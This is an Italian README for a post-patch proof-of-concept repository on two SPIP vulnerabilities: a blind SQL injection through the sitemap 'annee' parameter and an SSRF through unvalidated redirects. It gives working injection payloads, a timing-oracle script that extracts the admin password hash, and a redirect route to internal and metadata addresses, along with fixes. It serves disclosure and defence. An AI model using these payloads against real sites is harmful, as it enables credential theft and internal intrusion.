
PoC per CVE-2026-72708 (SQLi cieca) e CVE-2026-109378 (SSRF) in SPIP, entrambe corrette nella 4.4.18
Materiale proof of concept riproducibile per due vulnerabilità che ho segnalato in SPIP, entrambe corrette nella 4.4.18.
| CVE | Classe | Auth | CVSS 4.0 | Sink |
|---|---|---|---|---|
| CVE-2026-72708 | Blind SQL injection (CWE-89) | nessuna | 8.7 High | ecrire/req/mysql.php:1730 |
| CVE-2026-109378 | SSRF via HTTP redirect (CWE-918) | bassa | 5.3 Medium | ecrire/inc/distant.php:567-582 |
Entrambe sono state segnalate a [email protected] il 2026-08-05. SPIP ha rilasciato la correzione nella
4.4.18 il 2026-08-10. Questo materiale è pubblicato dopo la patch, che è
esattamente il motivo per cui viene pubblicato.
Tutto qui funziona contro un laboratorio locale usa e getta vincolato a
127.0.0.1. Non puntarlo verso un host che non possiedi.
spip_mysql_cite() restituisce un valore senza virgolette quando la colonna di destinazione è di
tipo data e il valore corrisponde a /^\w+\(/:
} elseif (sql_test_date($type) and preg_match('/^\w+\(/', $v)) {
return $v;
}
La regex doveva lasciar passare NOW() come chiamata di funzione anziché come stringa. Verifica la forma di una chiamata di funzione, non il suo nome, quindi anche SLEEP(5), IF(...) e UPDATEXML(...) la soddisfano.
Il sink raggiungibile è il criterio {annee?} di squelettes-dist/sitemap.xml.html, che viene distribuito con ogni installazione e viene confrontato con una colonna datetime. La sitemap è pubblica, quindi non è necessario alcun account:
GET /spip.php?page=sitemap.xml&annee=IF(1,SLEEP(5),0)
Eseguilo:
bash CVE-2026-72708-sqli/poc_sqli.sh
Lo script dimostra il sink, mostra il ritardo che segue l'argomento di SLEEP(),
poi recupera i primi dodici caratteri dell'hash della password admin tramite un
oracolo puramente temporale e verifica il risultato rispetto al database.
SLEEP() iniettato risiede in una clausola
WHERE, che MySQL valuta per riga. Con zero articoli non viene mai eseguito.
lab/seed.sh inserisce un articolo pubblicato.&z=<random>) a ogni ripetizione. Lo
script lo fa già.SPIP dispone di una guardia SSRF davvero valida, valider_url_distante(): whitelist
di schemi, range privati e riservati, link-local, DNS rebinding, URL con
credenziali. I chiamanti la eseguono prima del fetch.
recuperer_url() segue poi fino a dieci redirect e non rivalida mai il
target che sta per recuperare:
$url = suivre_lien($url, $res['location']); // 571, attacker controlled
// ... method adjustment, a log line ...
return recuperer_url($url, $options); // 582, fetched
Un 302 da un host che supera la validazione arriva direttamente a qualsiasi cosa il guard dovesse bloccare, incluso 169.254.169.254.
Eseguilo:
docker exec -w /var/www/html spiplab-app php /tmp/poc_ssrf.php
Lo script mostra la guardia che rifiuta correttamente sette URL ostili, poi recupera uno di quegli stessi URL tramite un redirect e stampa il contenuto.
cd lab
docker compose up -d # SPIP 4.4.16 + MariaDB, bound to 127.0.0.1:8888
sleep 40 # auto install
bash seed.sh # one published article, clears the page cache
Il database non ha una porta host. Il container web è in ascolto solo su loopback.
Per rimuoverlo, esegui docker compose down -v.
Per testare il percorso SSRF hai bisogno anche del redirector sostitutivo e di un servizio solo interno:
docker cp redir.php spiplab-app:/var/www/html/redir.php
docker exec spiplab-app sh -c 'mkdir -p /tmp/internal && \
echo "INTERNAL-SERVICE-SECRET-7f3a9c2e" > /tmp/internal/secret.txt && \
(setsid nohup php -S 0.0.0.0:9001 -t /tmp/internal >/tmp/internal/srv.log 2>&1 &)'
redir.php emette solo un 302 verso qualunque cosa dica ?to=. In un attacco reale quel ruolo
è svolto da un host pubblico che la guardia è felice di consentire.
requests/ in ciascuna directory contiene gli scambi HTTP grezzi catturati dal traffico
durante le esecuzioni sopra, un .req e un .res per ogni passaggio. Incolla un .req in
Burp Repeater così com'è.
Per la SQLi, la coppia interessante è sqli-03-oracle-true (2,051 s) contro
sqli-04-oracle-false (0,049 s): stessa domanda, soglia spostata di uno, e la
risposta è la differenza nel tempo di risposta. I corpi sono identici.
Per la SSRF, ssrf-02-internal-hits.log è il log di accesso del servizio
interno, che mostra SPIP arrivare su un host che aveva appena rifiutato di risolvere.
SQL injection, sostituisci la regex permissiva con una whitelist:
} elseif (sql_test_date($type) and preg_match(
'/^(NOW|CURDATE|CURTIME|CURRENT_TIMESTAMP|CURRENT_DATE|CURRENT_TIME|UTC_DATE|UTC_TIME|UTC_TIMESTAMP)\s*\(\s*\)$/i',
$v
)) {
Applicare la stessa modifica a ecrire/req/sqlite_generique.php.
SSRF, validare la destinazione del redirect prima di seguirla:
$url = suivre_lien($url, $res['location']);
if (!valider_url_distante($url)) {
spip_log("SSRF: blocked redirect to $url", 'distant' . _LOG_ERREUR);
return false;
}
return recuperer_url($url, $options);
Oppure è sufficiente aggiornare alla 4.4.18, che contiene entrambe.
CVE-2026-72708 è stato scoperto in modo indipendente e congiunto da Franck Chevalier (Wayko) di Lexfo / Ambionics, che ha individuato lo stesso sink, lo stesso punto di ingresso non autenticato e ha costruito le catene complete fino all'esecuzione di codice remoto tramite CVE-2026-72709 e CVE-2026-72710. Il loro writeup è il documento tecnico più approfondito e i loro strumenti sono disponibili su ambionics/spip-exploits.
CVE-2026-109378 è stato segnalato singolarmente.
MIT. Pubblicato per difensori, auditor e chiunque voglia capire perché una regex di quindici caratteri sia finita per valere 8,7 punti.
-- ka3n1x